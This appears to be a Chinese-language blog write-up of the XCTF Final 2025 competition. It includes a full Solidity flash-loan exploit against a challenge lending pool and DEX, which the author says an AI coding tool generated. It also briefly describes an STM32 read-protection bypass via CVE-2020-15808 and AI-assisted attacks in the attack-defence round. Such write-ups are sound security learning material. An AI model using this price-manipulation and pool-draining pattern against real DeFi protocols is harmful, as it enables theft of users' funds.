Day -1
比赛前几天就到这附近了(江浙沪就是附近!),去参加了下GEEKCON 2025。看了些DARKNAVY做的比较有意思的安全披露和挑战,印象比较深的有Web3钱包的攻击之类的。但是不给底层原理的这个会议其实没有那么有趣。(当然如果给底层原理也就不会有下面这条了)
Day 1
这场比赛算是,对于AI感知最大的一场了…?
Misc - Warp Finance
比较简单(?的闪电贷套利。今年初的VNCTF 2025才出过一个类似的,同样ethernaut也有类似的题目。打开claude code试一试,结果它还真给出了一个能用的脚本。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/Setup.sol";
import "./Attacker.sol";
import "./SimpleAttacker.sol";
contract SolveScript is Script {
Setup public setup;
Attacker public attacker;
SimpleAttacker public simpleAttacker;
function run() external {
// Setup the environment
vm.startBroadcast();
// Deploy Setup contract
setup = Setup(0x41b819454066A782d933b66FB128A2962E842649);
// setup = new Setup();
console.log("Setup deployed at:", address(setup));
// Deploy Simple Attacker contract
simpleAttacker = new SimpleAttacker(address(setup));
console.log("SimpleAttacker deployed at:", address(simpleAttacker));
// Log initial state
console.log("=== Initial State ===");
console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));
console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));
console.log("Flash minter balance:", setup.stableToken().balanceOf(address(setup.flashMinter())));
console.log("Is solved before attack:", setup.isSolved());
// Get DEX reserves before attack
(uint112 reserve0Before, uint112 reserve1Before) = setup.dex().getReserves();
console.log("DEX reserves before - Collateral:", reserve0Before, "Stable:", reserve1Before);
// Execute the attack
console.log("\n=== Executing Attack ===");
simpleAttacker.attack();
// Check balances after attack
console.log("\n=== Post-Attack State ===");
console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));
console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));
console.log("SimpleAttacker stable balance:", setup.stableToken().balanceOf(address(simpleAttacker)));
// Get DEX reserves after attack
(uint112 reserve0After, uint112 reserve1After) = setup.dex().getReserves();
console.log("DEX reserves after - Collateral:", reserve0After, "Stable:", reserve1After);
// Check if solved
console.log("Is solved after attack:", setup.isSolved());
// Verify target conditions
uint256 poolBalance = setup.stableToken().balanceOf(address(setup.pool()));
uint256 playerBalance = setup.stableToken().balanceOf(msg.sender);
console.log("\n=== Target Verification ===");
console.log("Target pool balance:", setup.TARGET_POOL_BALANCE());
console.log("Actual pool balance:", poolBalance);
console.log("Target player balance:", setup.TARGET_PLAYER_BALANCE());
console.log("Actual player balance:", playerBalance);
bool poolCondition = poolBalance <= setup.TARGET_POOL_BALANCE();
bool playerCondition = playerBalance >= setup.TARGET_PLAYER_BALANCE();
console.log("Pool condition met:", poolCondition);
console.log("Player condition met:", playerCondition);
console.log("Challenge solved:", poolCondition && playerCondition);
vm.stopBroadcast();
}
// Alternative function to run attack on existing setup
function runWithExistingSetup(address setupAddress) external {
vm.startBroadcast();
setup = Setup(setupAddress);
console.log("Using existing Setup at:", setupAddress);
// Deploy SimpleAttacker contract
simpleAttacker = new SimpleAttacker(setupAddress);
console.log("SimpleAttacker deployed at:", address(simpleAttacker));
// Log initial state
console.log("=== Initial State ===");
console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));
console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));
console.log("Is solved before attack:", setup.isSolved());
// Execute the attack
console.log("\n=== Executing Attack ===");
simpleAttacker.attack();
// Check final state
console.log("\n=== Final State ===");
console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));
console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));
console.log("Is solved:", setup.isSolved());
vm.stopBroadcast();
}
} // SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
import "../src/Setup.sol";
import "../src/core/WarpDexPair.sol";
import "../src/core/WarpLendingPool.sol";
import "../src/utils/StableFlashMinter.sol";
import "../src/tokens/MockERC20.sol";
contract SimpleAttacker {
Setup public setup;
MockERC20 public collateralToken;
MockERC20 public stableToken;
WarpDexPair public dex;
WarpLendingPool public pool;
StableFlashMinter public flashMinter;
address public owner;
constructor(address _setup) {
setup = Setup(_setup);
collateralToken = setup.collateralToken();
stableToken = setup.stableToken();
dex = setup.dex();
pool = setup.pool();
flashMinter = setup.flashMinter();
owner = msg.sender;
}
function attack() external {
require(msg.sender == owner, "Only owner can attack");
// Claim initial tokens first
setup.claim();
// Execute multiple flash loans to extract maximum value
for (uint256 i = 0; i < 5; i++) {
uint256 available = stableToken.balanceOf(address(flashMinter));
if (available > 1 ether) {
bytes memory data = abi.encode(i);
flashMinter.flashBorrow(available, data);
} else {
break;
}
}
// Final cleanup: withdraw any remaining collateral
_finalCleanup();
}
function onFlashLoan(uint256 amount, uint256 fee, bytes calldata data) external {
require(msg.sender == address(flashMinter), "Only flash minter can call");
uint256 round = abi.decode(data, (uint256));
// Calculate repayment amount
uint256 repayAmount = amount + fee;
if (round == 0) {
// First round: major price manipulation and pool draining
_firstRoundAttack(amount, repayAmount);
} else {
// Subsequent rounds: extract more value from collateral
_extractMoreValue(amount, repayAmount);
}
// Always ensure repayment
_ensureRepayment(repayAmount);
// Transfer any remaining profit to owner
uint256 profit = stableToken.balanceOf(address(this));
if (profit > 0) {
stableToken.transfer(owner, profit);
}
}
function _firstRoundAttack(uint256 amount, uint256 repayAmount) internal {
// Use most of flash loan for price manipulation
uint256 manipulationAmount = (amount * 98) / 100; // 98% for manipulation
// Swap to get collateral at low price
stableToken.approve(address(dex), manipulationAmount);
uint256 collateralReceived = dex.swap(
address(stableToken),
manipulationAmount,
0,
address(this)
);
// Deposit all collateral to maximize borrowing power
collateralToken.approve(address(pool), collateralReceived);
pool.depositCollateral(collateralReceived);
// Borrow everything possible from the pool
uint256 poolBalance = stableToken.balanceOf(address(pool));
(,uint256 maxBorrowable,) = pool.accountStatus(address(this));
uint256 borrowAmount = maxBorrowable < poolBalance ? maxBorrowable : poolBalance;
if (borrowAmount > 0) {
pool.borrow(borrowAmount);
}
}
function _extractMoreValue(uint256 amount, uint256 repayAmount) internal {
// For later rounds, focus on extracting value from our collateral position
uint256 collateralDeposited = pool.collateralDeposits(address(this));
uint256 currentDebt = pool.debt(address(this));
if (collateralDeposited > 0) {
// Calculate how much we can safely withdraw
(uint256 collateralValue,,) = pool.accountStatus(address(this));
// Minimum collateral value needed to maintain position
uint256 minCollateralValue = (currentDebt * 1e18) / pool.COLLATERAL_FACTOR();
if (collateralValue > minCollateralValue) {
// We can withdraw some excess collateral
uint256 excessValue = collateralValue - minCollateralValue;
uint256 currentPrice = dex.spotPrice(address(collateralToken));
uint256 maxWithdraw = (excessValue * 1e18) / currentPrice;
// Withdraw with safety margin
maxWithdraw = (maxWithdraw * 90) / 100;
if (maxWithdraw > 0 && maxWithdraw <= collateralDeposited) {
pool.withdrawCollateral(maxWithdraw);
// Sell the withdrawn collateral
collateralToken.approve(address(dex), maxWithdraw);
dex.swap(
address(collateralToken),
maxWithdraw,
0,
address(this)
);
}
}
// Try to do another round of price manipulation with available funds
uint256 availableForManipulation = stableToken.balanceOf(address(this));
if (availableForManipulation > repayAmount + 100 ether) {
uint256 manipAmount = availableForManipulation - repayAmount - 50 ether;
// Another round of price manipulation
stableToken.approve(address(dex), manipAmount);
uint256 newCollateral = dex.swap(
address(stableToken),
manipAmount,
0,
address(this)
);
// Deposit and borrow again
collateralToken.approve(address(pool), newCollateral);
pool.depositCollateral(newCollateral);
(,uint256 newMaxBorrow,) = pool.accountStatus(address(this));
uint256 additionalBorrow = newMaxBorrow - currentDebt;
uint256 poolBalance = stableToken.balanceOf(address(pool));
if (additionalBorrow > 0 && additionalBorrow <= poolBalance) {
pool.borrow(additionalBorrow);
}
}
}
}
function _ensureRepayment(uint256 repayAmount) internal {
uint256 currentBalance = stableToken.balanceOf(address(this));
if (currentBalance < repayAmount) {
uint256 shortage = repayAmount - currentBalance;
// Withdraw collateral to cover shortage
(uint112 reserve0, uint112 reserve1) = dex.getReserves();
uint256 collateralNeeded = (shortage * uint256(reserve0) * 110) / (uint256(reserve1) * 100);
uint256 availableCollateral = pool.collateralDeposits(address(this));
if (collateralNeeded > availableCollateral) {
collateralNeeded = availableCollateral;
}
if (collateralNeeded > 0) {
pool.withdrawCollateral(collateralNeeded);
collateralToken.approve(address(dex), collateralNeeded);
dex.swap(
address(collateralToken),
collateralNeeded,
0,
address(this)
);
}
}
// Repay the flash loan
stableToken.transfer(address(flashMinter), repayAmount);
}
function _finalCleanup() internal {
// Extract any remaining collateral value
uint256 remainingCollateral = pool.collateralDeposits(address(this));
uint256 currentDebt = pool.debt(address(this));
if (remainingCollateral > 0) {
// Try to withdraw remaining collateral if debt allows
if (currentDebt == 0) {
// No debt, can withdraw everything
pool.withdrawCollateral(remainingCollateral);
collateralToken.approve(address(dex), remainingCollateral);
dex.swap(
address(collateralToken),
remainingCollateral,
0,
owner
);
} else {
// Calculate safe withdrawal amount
(uint256 collateralValue,,) = pool.accountStatus(address(this));
uint256 minRequired = (currentDebt * 1e18) / pool.COLLATERAL_FACTOR();
if (collateralValue > minRequired) {
uint256 excessValue = collateralValue - minRequired;
uint256 currentPrice = dex.spotPrice(address(collateralToken));
uint256 withdrawable = (excessValue * 1e18) / currentPrice;
withdrawable = (withdrawable * 95) / 100; // Safety margin
if (withdrawable > 0 && withdrawable <= remainingCollateral) {
pool.withdrawCollateral(withdrawable);
collateralToken.approve(address(dex), withdrawable);
dex.swap(
address(collateralToken),
withdrawable,
0,
owner
);
}
}
}
}
// Transfer any remaining stable tokens to owner
uint256 remainingStable = stableToken.balanceOf(address(this));
if (remainingStable > 0) {
stableToken.transfer(owner, remainingStable);
}
}
// Check if attack was successful
function checkSuccess() external view returns (bool) {
return setup.isSolved();
}
} 于是拿了一血。
Misc - GhostTunnel
这个比较有意思的一个golang实现的tunnel,但是第一问被非预期了——给了core dump,strings搜一下就拿到flag的base64了。Revenge其实就是把这个字符串删了…
如果正常来做的话,首先观察发现是upx的,想办法脱壳:(尝试用qiling跑模拟,调了半天发现upx可以直接解)而后拖入ida观察发现有这样的定义_golang,也能找到一些golang风格的调用。
‣用了这个软件拿到了golang的符号,大概(用AI)看了眼发现了主要逻辑的位置,没往后逆了,过几天看看有没有空补上。预期做法大概是从core dump里拿密钥,然后再解密流量拿flag。不过最后是零解,想必也不是很简单了。
Reverse - Rewrite it in Rust
一个wasm,js里没啥内容??主要逻辑都在wasm二进制里,怎么还是rust。。。尝试用ida mcp做了会还真吐出来了flag。
Realworld - STM32-MorseCode
一块开发版,要求是在Pin C13上敲XCTF的morse 电码就给uid,然后把uid通过Mifare Classic Tool 写入就能在现场刷卡了
__ __ _____ _______ ______ ____ _____ _____
\ \ / // ____||__ __|| ____| / __ \ / ____|| __ \
\ V /| | | | | |__ \ / | | | || (___ | |__) |
> < | | | | | __| X | | | | \___ \ | _ /
/ . \| |____ | | | | / \ | |__| | ____) || | \ \
/_/ \_\\_____| |_| |_| \____/ |_____/ |_| \_\
[*] Welcome to XCTF Final 2025 ~
[0] The Attachment at https://github.com/xuanxuanblingbling/xctf_2025_final_rw_stm32
[1] Tap Morse code "XCTF" at PC13 (active low) to get the first NFC M1 Card UID !
[2] Use CVE-2020-15808 or Glitch Attack to bypass STM32F103 RDP1, get the second NFC M1 Card UID at 0x0800F000 ! Realworld - STM32-RDPBypass
和上面一样的一块STM32开发版。提示是用CVE-2020-15808或者Glitch Attack来绕过RDP level 1 读取,而后读取内存上的0x0800F000处的uid。
RDP是Read Protection。在STM32中,flash和CPU,memory等固件被一起封装到MCU片中,这样我们就无法使用烧录夹来单独读取flash固件中的内容了(对比esp32?)。所以为了让在mcu中的flash也无法被读取,stm设计了一套读保护机制,在使用stlink或者jlink这类调试器时,系统不会允许读取flash中的内容。
于是RDP bypass就是用来读取这样内容的。
根据提示有两种方法,一种是Glitch Attack,我没用这个方法(其实就是没找到Orz)放一篇paper吧。
‣
第二种是CVE,根据网上不算很多的信息能定位到一条推文——带有源码漏洞位置
以及一篇pdf
‣
由此可以定位到相关的函数(其他地方应该也有,大概是a2这个结构体)
经过仔细比对确实是没有长度检查,对比后来的stm32库中的代码,在这个库中https://github.com/STMicroelectronics/stm32-mw-usb-device/blob/d1a9b6baeafc56053db3f8ac946c98e5aa925338/Class/CDC/Src/usbd_cdc.c
才添加了相对应的长度check,堵死了这个漏洞。
于是我们只需要用pyusb这类设备操作usb给stm32的硬件发送构造好的request,就能读取到数据的内容。
但是由于用脑过度没能做出来,遗憾。
赛后出题人说用Glitch Attack的找他们借了设备的都被送了设备,彻底失败。
过几天复现了再发一篇文章😭
Day 2 AWD
原汁原味的AWD(存疑。
因为主要是web和pwn,没我什么事情,所以负责写脚本,批量化运行exp并提交flag。(乐
当然web小伙伴评价也是没什么参与感.jpg。把题目贴进chatgpt或者claude code,然后等一会就能看到攻击路径,然后写代码就好了。。。
但是比较新奇的是增加了可以看flag的流量包和其他选手的patch,所以这比awdp更有趣更刺激。
solo
solo是两位crypto小伙伴做的。在开始第一轮时我们是前4,所以24 - 12 我们没有打。而后是一个16 - 8。这场是crypto,没看。下面一场8 - 4 是 re, 同样用mcp扔给gpt是rc2,搓了脚本秒出。4 - 2 是vm,好消息是代码很短,稍微理一理逻辑,也不是很难的。
最后一个是pwn,对手是我们的pwn老大tplus(为什么在我们对面!),毫无疑问地输了。
END
燃尽了,睡酒店里还被蚊子咬了好多包!睡觉去了Orz